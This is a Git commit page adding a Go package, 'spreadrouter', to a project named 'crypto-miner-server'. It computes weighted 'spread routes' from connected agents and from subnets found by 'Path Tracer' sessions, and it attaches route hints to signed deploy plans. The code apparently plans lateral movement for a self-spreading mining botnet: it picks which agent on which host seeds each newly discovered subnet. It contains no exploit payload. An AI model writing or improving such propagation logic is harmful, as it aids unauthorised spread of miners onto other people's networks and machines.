Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
467
server/internal/spreadrouter/router.go
Normal file
467
server/internal/spreadrouter/router.go
Normal file
@@ -0,0 +1,467 @@
|
||||
// Package spreadrouter computes BGP-style spread routes from Path Tracer sessions,
|
||||
// agent clearance, lane success history, and latency.
|
||||
package spreadrouter
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
)
|
||||
|
||||
// SpreadMinClearance is the minimum clearance required for spread actions (L2).
|
||||
const SpreadMinClearance = clearance.L2
|
||||
|
||||
// HopSnapshot is one agent hop in an active Path Tracer session.
|
||||
type HopSnapshot struct {
|
||||
AgentID string
|
||||
AgentName string
|
||||
Subnet string
|
||||
SessionID string
|
||||
HopIndex int
|
||||
Connected bool
|
||||
}
|
||||
|
||||
// SubnetDiscovery links a discovering hop to hosts on a target subnet.
|
||||
type SubnetDiscovery struct {
|
||||
Subnet string
|
||||
AgentID string
|
||||
Hosts []string
|
||||
}
|
||||
|
||||
// SessionSnapshot is routable state from one Path Tracer session.
|
||||
type SessionSnapshot struct {
|
||||
SessionID string
|
||||
Hops []HopSnapshot
|
||||
Discoveries []SubnetDiscovery
|
||||
}
|
||||
|
||||
// FleetAgentSnapshot is a connected fleet agent used for routing.
|
||||
type FleetAgentSnapshot struct {
|
||||
AgentID string
|
||||
AgentName string
|
||||
Subnet string
|
||||
Clearance int
|
||||
LatencyMs int
|
||||
JoinLane string
|
||||
Connected bool
|
||||
}
|
||||
|
||||
// LaneSuccessStat is historical join-lane success on a subnet.
|
||||
type LaneSuccessStat struct {
|
||||
Subnet string
|
||||
JoinLane string
|
||||
Success int
|
||||
}
|
||||
|
||||
// Input feeds the route table builder.
|
||||
type Input struct {
|
||||
Sessions []SessionSnapshot
|
||||
FleetAgents []FleetAgentSnapshot
|
||||
LaneSuccess []LaneSuccessStat
|
||||
TargetSubnets []string
|
||||
RequestedLane string
|
||||
}
|
||||
|
||||
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
||||
type RouteEdge struct {
|
||||
FromAgentID string `json:"from_agent_id"`
|
||||
FromAgentName string `json:"from_agent_name,omitempty"`
|
||||
ToSubnet string `json:"to_subnet"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
HopIndex int `json:"hop_index,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Clearance int `json:"clearance_level"`
|
||||
LaneSuccess float64 `json:"lane_success_rate"`
|
||||
LatencyMs int `json:"latency_ms,omitempty"`
|
||||
Weight float64 `json:"weight"`
|
||||
}
|
||||
|
||||
// RouteRecommendation is the best seed hop for one target subnet.
|
||||
type RouteRecommendation struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
Score float64 `json:"score"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
// RouteTable holds weighted edges and recommendations.
|
||||
type RouteTable struct {
|
||||
Edges []RouteEdge
|
||||
Routes []RouteRecommendation
|
||||
bySubnet map[string]RouteRecommendation
|
||||
}
|
||||
|
||||
const (
|
||||
weightClearance = 0.35
|
||||
weightLane = 0.40
|
||||
weightLatency = 0.25
|
||||
)
|
||||
|
||||
type candidate struct {
|
||||
agentID string
|
||||
agentName string
|
||||
subnet string
|
||||
sessionID string
|
||||
hopIndex int
|
||||
clearance int
|
||||
latencyMs int
|
||||
joinLane string
|
||||
laneRate float64
|
||||
discovered bool
|
||||
}
|
||||
|
||||
// Build constructs a route table from Path Tracer sessions and fleet telemetry.
|
||||
func Build(in Input) *RouteTable {
|
||||
rt := &RouteTable{bySubnet: make(map[string]RouteRecommendation)}
|
||||
laneRates := laneSuccessRates(in.LaneSuccess, in.RequestedLane)
|
||||
fleetByID := make(map[string]FleetAgentSnapshot, len(in.FleetAgents))
|
||||
for _, ag := range in.FleetAgents {
|
||||
fleetByID[ag.AgentID] = ag
|
||||
}
|
||||
|
||||
targets := normalizeTargets(in)
|
||||
for _, target := range targets {
|
||||
cands := collectCandidates(in, target, fleetByID, laneRates)
|
||||
rec, edges := scoreCandidates(target, in.RequestedLane, cands)
|
||||
if rec.SeedAgentID != "" {
|
||||
rt.Routes = append(rt.Routes, rec)
|
||||
rt.bySubnet[target] = rec
|
||||
}
|
||||
rt.Edges = append(rt.Edges, edges...)
|
||||
}
|
||||
return rt
|
||||
}
|
||||
|
||||
// Recommend returns the best route for a target subnet.
|
||||
func (rt *RouteTable) Recommend(targetSubnet string) (RouteRecommendation, bool) {
|
||||
if rt == nil {
|
||||
return RouteRecommendation{}, false
|
||||
}
|
||||
targetSubnet = NormalizeSubnet(targetSubnet)
|
||||
rec, ok := rt.bySubnet[targetSubnet]
|
||||
return rec, ok
|
||||
}
|
||||
|
||||
// ToHint converts a recommendation into a deploy-plan hint.
|
||||
func ToHint(rec RouteRecommendation) *SpreadRouteHint {
|
||||
if rec.SeedAgentID == "" {
|
||||
return nil
|
||||
}
|
||||
return &SpreadRouteHint{
|
||||
TargetSubnet: rec.TargetSubnet,
|
||||
SeedAgentID: rec.SeedAgentID,
|
||||
SeedAgentName: rec.SeedAgentName,
|
||||
EgressAgentID: rec.EgressAgentID,
|
||||
EgressHopIndex: rec.EgressHopIndex,
|
||||
SessionID: rec.SessionID,
|
||||
JoinLane: rec.JoinLane,
|
||||
Score: rec.Score,
|
||||
ClearanceLevel: rec.ClearanceLevel,
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeTargets(in Input) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
add := func(s string) {
|
||||
s = NormalizeSubnet(s)
|
||||
if s == "" || seen[s] {
|
||||
return
|
||||
}
|
||||
seen[s] = true
|
||||
out = append(out, s)
|
||||
}
|
||||
for _, t := range in.TargetSubnets {
|
||||
add(t)
|
||||
}
|
||||
for _, sess := range in.Sessions {
|
||||
for _, d := range sess.Discoveries {
|
||||
add(d.Subnet)
|
||||
}
|
||||
}
|
||||
for _, ag := range in.FleetAgents {
|
||||
add(ag.Subnet)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnapshot, laneRates map[string]float64) []candidate {
|
||||
seen := make(map[string]bool)
|
||||
var out []candidate
|
||||
|
||||
add := func(c candidate) {
|
||||
if c.agentID == "" {
|
||||
return
|
||||
}
|
||||
if ag, ok := fleet[c.agentID]; ok {
|
||||
if c.clearance == 0 {
|
||||
c.clearance = ag.Clearance
|
||||
}
|
||||
if c.latencyMs == 0 {
|
||||
c.latencyMs = ag.LatencyMs
|
||||
}
|
||||
if c.joinLane == "" {
|
||||
c.joinLane = ag.JoinLane
|
||||
}
|
||||
if c.agentName == "" {
|
||||
c.agentName = ag.AgentName
|
||||
}
|
||||
if !ag.Connected {
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.clearance < SpreadMinClearance {
|
||||
return
|
||||
}
|
||||
key := c.agentID + "|" + target
|
||||
if seen[key] {
|
||||
return
|
||||
}
|
||||
seen[key] = true
|
||||
if c.laneRate == 0 {
|
||||
c.laneRate = laneRates[target+"|"+strings.TrimSpace(c.joinLane)]
|
||||
if c.laneRate == 0 {
|
||||
c.laneRate = laneRates[target+"|"]
|
||||
}
|
||||
}
|
||||
out = append(out, c)
|
||||
}
|
||||
|
||||
for _, sess := range in.Sessions {
|
||||
for _, hop := range sess.Hops {
|
||||
ag := fleet[hop.AgentID]
|
||||
c := candidate{
|
||||
agentID: hop.AgentID,
|
||||
agentName: hop.AgentName,
|
||||
subnet: hop.Subnet,
|
||||
sessionID: sess.SessionID,
|
||||
hopIndex: hop.HopIndex,
|
||||
clearance: ag.Clearance,
|
||||
latencyMs: ag.LatencyMs,
|
||||
joinLane: ag.JoinLane,
|
||||
}
|
||||
for _, d := range sess.Discoveries {
|
||||
if NormalizeSubnet(d.Subnet) == target && d.AgentID == hop.AgentID {
|
||||
c.discovered = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if c.discovered || NormalizeSubnet(hop.Subnet) == target {
|
||||
add(c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, ag := range in.FleetAgents {
|
||||
if !ag.Connected || ag.Clearance < SpreadMinClearance {
|
||||
continue
|
||||
}
|
||||
if NormalizeSubnet(ag.Subnet) != target {
|
||||
continue
|
||||
}
|
||||
add(candidate{
|
||||
agentID: ag.AgentID,
|
||||
agentName: ag.AgentName,
|
||||
subnet: ag.Subnet,
|
||||
clearance: ag.Clearance,
|
||||
latencyMs: ag.LatencyMs,
|
||||
joinLane: ag.JoinLane,
|
||||
laneRate: laneRates[target+"|"+strings.TrimSpace(ag.JoinLane)],
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||
var edges []RouteEdge
|
||||
var best RouteRecommendation
|
||||
var bestScore float64
|
||||
|
||||
for _, c := range cands {
|
||||
clearanceScore := clearancePreference(c.clearance)
|
||||
laneScore := c.laneRate
|
||||
if laneScore <= 0 && strings.TrimSpace(requestedLane) != "" && strings.EqualFold(c.joinLane, requestedLane) {
|
||||
laneScore = 0.5
|
||||
}
|
||||
latencyScore := latencyPreference(c.latencyMs)
|
||||
weight := weightClearance*clearanceScore + weightLane*laneScore + weightLatency*latencyScore
|
||||
if c.discovered {
|
||||
weight += 0.05
|
||||
}
|
||||
|
||||
edges = append(edges, RouteEdge{
|
||||
FromAgentID: c.agentID,
|
||||
FromAgentName: c.agentName,
|
||||
ToSubnet: target,
|
||||
SessionID: c.sessionID,
|
||||
HopIndex: c.hopIndex,
|
||||
JoinLane: c.joinLane,
|
||||
Clearance: c.clearance,
|
||||
LaneSuccess: laneScore,
|
||||
LatencyMs: c.latencyMs,
|
||||
Weight: weight,
|
||||
})
|
||||
|
||||
if weight > bestScore {
|
||||
bestScore = weight
|
||||
reason := "minimum-clearance route"
|
||||
if c.discovered {
|
||||
reason = "path-tracer discovery on subnet"
|
||||
} else if NormalizeSubnet(c.subnet) == target {
|
||||
reason = "fleet agent on target subnet"
|
||||
}
|
||||
best = RouteRecommendation{
|
||||
TargetSubnet: target,
|
||||
SeedAgentID: c.agentID,
|
||||
SeedAgentName: c.agentName,
|
||||
EgressAgentID: c.agentID,
|
||||
EgressHopIndex: c.hopIndex,
|
||||
SessionID: c.sessionID,
|
||||
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
|
||||
ClearanceLevel: c.clearance,
|
||||
Score: weight,
|
||||
Reason: reason,
|
||||
}
|
||||
}
|
||||
}
|
||||
return best, edges
|
||||
}
|
||||
|
||||
func clearancePreference(level int) float64 {
|
||||
if level < SpreadMinClearance {
|
||||
return 0
|
||||
}
|
||||
excess := float64(level - SpreadMinClearance)
|
||||
maxExcess := float64(clearance.L4 - SpreadMinClearance)
|
||||
if maxExcess <= 0 {
|
||||
return 1
|
||||
}
|
||||
if excess > maxExcess {
|
||||
excess = maxExcess
|
||||
}
|
||||
return 1 - excess/maxExcess
|
||||
}
|
||||
|
||||
func latencyPreference(ms int) float64 {
|
||||
if ms <= 0 {
|
||||
return 1
|
||||
}
|
||||
return 1 / (1 + float64(ms)/100)
|
||||
}
|
||||
|
||||
func laneSuccessRates(stats []LaneSuccessStat, requestedLane string) map[string]float64 {
|
||||
type bucket struct {
|
||||
total int
|
||||
lane int
|
||||
}
|
||||
bySubnet := make(map[string]*bucket)
|
||||
for _, s := range stats {
|
||||
sub := NormalizeSubnet(s.Subnet)
|
||||
if sub == "" || s.Success <= 0 {
|
||||
continue
|
||||
}
|
||||
b := bySubnet[sub]
|
||||
if b == nil {
|
||||
b = &bucket{}
|
||||
bySubnet[sub] = b
|
||||
}
|
||||
b.total += s.Success
|
||||
if requestedLane != "" && strings.EqualFold(s.JoinLane, requestedLane) {
|
||||
b.lane += s.Success
|
||||
}
|
||||
}
|
||||
out := make(map[string]float64)
|
||||
for sub, b := range bySubnet {
|
||||
if b.total <= 0 {
|
||||
continue
|
||||
}
|
||||
out[sub+"|"] = clamp01(float64(b.total) / float64(b.total+3))
|
||||
if requestedLane != "" && b.lane > 0 {
|
||||
out[sub+"|"+requestedLane] = clamp01(float64(b.lane) / float64(b.total))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func clamp01(v float64) float64 {
|
||||
if v < 0 {
|
||||
return 0
|
||||
}
|
||||
if v > 1 {
|
||||
return 1
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func firstNonEmpty(parts ...string) string {
|
||||
for _, p := range parts {
|
||||
if strings.TrimSpace(p) != "" {
|
||||
return strings.TrimSpace(p)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// NormalizeSubnet returns a /24-style prefix for routing keys.
|
||||
func NormalizeSubnet(s string) string {
|
||||
s = strings.TrimSpace(strings.ToLower(s))
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
if strings.HasSuffix(s, ".x") {
|
||||
return strings.TrimSuffix(s, ".x")
|
||||
}
|
||||
return SubnetFromIP(s)
|
||||
}
|
||||
|
||||
// SubnetFromIP extracts a routable subnet prefix from an IP or CIDR-ish string.
|
||||
func SubnetFromIP(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return ""
|
||||
}
|
||||
host := ip
|
||||
if h, _, err := net.SplitHostPort(ip); err == nil {
|
||||
host = h
|
||||
}
|
||||
if strings.Count(host, ".") == 2 {
|
||||
return host
|
||||
}
|
||||
parsed := net.ParseIP(host)
|
||||
if parsed == nil {
|
||||
return ""
|
||||
}
|
||||
if v4 := parsed.To4(); v4 != nil {
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ".")
|
||||
}
|
||||
}
|
||||
if strings.Contains(host, ":") {
|
||||
parts := strings.Split(host, ":")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ":")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
Reference in New Issue
Block a user